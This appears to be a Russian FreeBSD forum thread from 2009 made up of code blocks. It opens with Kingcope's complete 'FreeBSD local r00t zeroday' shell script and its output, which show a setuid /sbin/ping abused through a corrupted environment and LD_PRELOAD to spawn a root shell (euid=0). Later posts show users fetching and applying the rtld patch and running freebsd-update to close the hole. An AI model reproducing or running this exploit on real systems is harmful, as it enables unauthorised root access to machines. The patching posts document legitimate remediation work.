forum.lissyara.su

Код: Выделить всё

se@serv4 ~ >./w00t.sh 
1 1.sh 1.sh~ PKI back bg bgbilling bgbilling20091007.sql bgbilling20091007.tar cc20090325.tgz config.sh dd dev distr env.sh env.sh~ fire-otrad.sh fuuuuck hizelhome.tar.gz js.txt json.tar.gz logo-basic.png logo1.png logo2.png logo3.png logo4.png mibs nagios nagios2cfg-2009-04-20.tar.gz nofire.pl pgsql ports-supfile postgres20090403.tgz postgresql.conf primorsk2.tar.bz2 rad2 src stable-supfile tmp traf20090923.sql traf20091119.sql traf20091130.sql.xz w00t.sh xmlrpc FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
ALEX-ALEX
# uanem -a
uanem: not found
# uname -a
FreeBSD serv4 7.2-RELEASE-p3 FreeBSD 7.2-RELEASE-p3 #0: Tue Sep  1 11:58:53 MSD 2009     root@serv4:/usr/obj/usr/src/sys/SERV472  i386
# id
uid=1001(se) gid=1001(se) euid=0(root) groups=1001(se),0(wheel)

Код: Выделить всё

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
       extern char **environ;
       environ = (char**)malloc(8096);

       environ[0] = (char*)malloc(1024);
       environ[1] = (char*)malloc(1024);
       strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

       execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
       extern char **environ;
       environ=NULL;
       system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Код: Выделить всё

darksun# cd /tmp/
darksun# fetch http://people.freebsd.org/~cperciva/rtld.patch
rtld.patch                                    100% of  846  B 1971 kBps
darksun# cd /usr/src/
darksun# find . -name rtld.c
./libexec/rtld-elf/rtld.c
^C
darksun# cd ./libexec/rtld-elf/
darksun# patch -p0 < /tmp/rtld.patch
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|Index: rtld.c
|===================================================================
|--- rtld.c     (revision 199977)
|+++ rtld.c     (working copy)
--------------------------
Patching file rtld.c using Plan A...
Hunk #1 succeeded at 361 (offset -5 lines).
done
darksun# make && make install

Код: Выделить всё

 cd /usr/src/libexec/rtld-elf
# patch -p0 < /tmp/rtld.patch
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|Index: rtld.c
|===================================================================
|--- rtld.c     (revision 199977)
|+++ rtld.c     (working copy)
--------------------------
Patching file rtld.c using Plan A...
Hunk #1 failed at 366.
1 out of 1 hunks failed--saving rejects to rtld.c.rej
done
#

Код: Выделить всё

FreeBSD tmm.test.ru 7.2-RELEASE-p4 FreeBSD 7.2-RELEASE-p4 #1: Wed Dec  2 09:23:25 MSK 2009     root@tmm.test.ru:/usr/src/sys/i386/compile/kern.10-11-2009  i386

Код: Выделить всё

[root@gate.brain.lan /usr/home/eugene]# freebsd-update fetch
Looking up update.FreeBSD.org mirrors... 3 mirrors found.
Fetching metadata signature for 7.1-RELEASE from update4.FreeBSD.org... done.
Fetching metadata index... done.
Fetching 2 metadata patches.. done.
Applying metadata patches... done.
Inspecting system... done.
Preparing to download files... done.
Fetching 13 patches.....10. done.
Applying patches... done.

The following files will be updated as part of updating to 7.1-RELEASE-p9:
/etc/mtree/BSD.var.dist
/libexec/ld-elf.so.1
/usr/lib/libssl.a
/usr/lib/libssl.so.5
/usr/lib/libssl_p.a
/usr/sbin/freebsd-update
/usr/src/crypto/openssl/ssl/s3_lib.c
/usr/src/crypto/openssl/ssl/s3_pkt.c
/usr/src/crypto/openssl/ssl/s3_srvr.c
/usr/src/etc/mtree/BSD.var.dist
/usr/src/libexec/rtld-elf/rtld.c
/usr/src/sys/conf/newvers.sh
/usr/src/usr.sbin/freebsd-update/freebsd-update.sh
/var/db/freebsd-update
[root@gate.brain.lan /usr/home/eugene]# freebsd-update install
Installing updates... done.
[root@gate.brain.lan /usr/home/eugene]# uname -a
FreeBSD gate.brain.lan 7.1-RELEASE-p8 FreeBSD 7.1-RELEASE-p8 #1: Mon Oct 19 18:10:55 EEST 2009     eugene@gate.brain.lan:/usr/obj/usr/src/sys/GENERIC  i386

Код: Выделить всё

[root@web.brain.lan /usr/home/eugene]# freebsd-update fetch
Looking up update.FreeBSD.org mirrors... 3 mirrors found.
Fetching metadata signature for 7.1-RELEASE from update5.FreeBSD.org... done.
Fetching metadata index... done.
Inspecting system... done.
Preparing to download files... done.

No updates needed to update system to 7.1-RELEASE-p8.
[root@web.brain.lan /usr/home/eugene]# freebsd-update install^C
[root@web.brain.lan /usr/home/eugene]# uname -a
FreeBSD web.brain.lan 7.1-RELEASE-p8 FreeBSD 7.1-RELEASE-p8 #0: Fri Oct  2 07:10:41 UTC 2009     root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  i386

Код: Выделить всё

# freebsd-update fetch -s update4.FreeBSD.org
Looking up update4.FreeBSD.org mirrors... none found.
Fetching metadata signature for 7.1-RELEASE from update4.FreeBSD.org... done.
Fetching metadata index... done.
Fetching 2 metadata patches.. done.
Applying metadata patches... done.
Inspecting system... done.
Preparing to download files... done.
Fetching 13 patches.....10. done.
Applying patches... done.

The following files will be updated as part of updating to 7.1-RELEASE-p9:
/etc/mtree/BSD.var.dist
/libexec/ld-elf.so.1
/usr/lib/libssl.a
/usr/lib/libssl.so.5
/usr/lib/libssl_p.a
/usr/sbin/freebsd-update
/usr/src/crypto/openssl/ssl/s3_lib.c
/usr/src/crypto/openssl/ssl/s3_pkt.c
/usr/src/crypto/openssl/ssl/s3_srvr.c
/usr/src/etc/mtree/BSD.var.dist
/usr/src/libexec/rtld-elf/rtld.c
/usr/src/sys/conf/newvers.sh
/usr/src/usr.sbin/freebsd-update/freebsd-update.sh
/var/db/freebsd-update

Код: Выделить всё

FreeBSD pandora 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386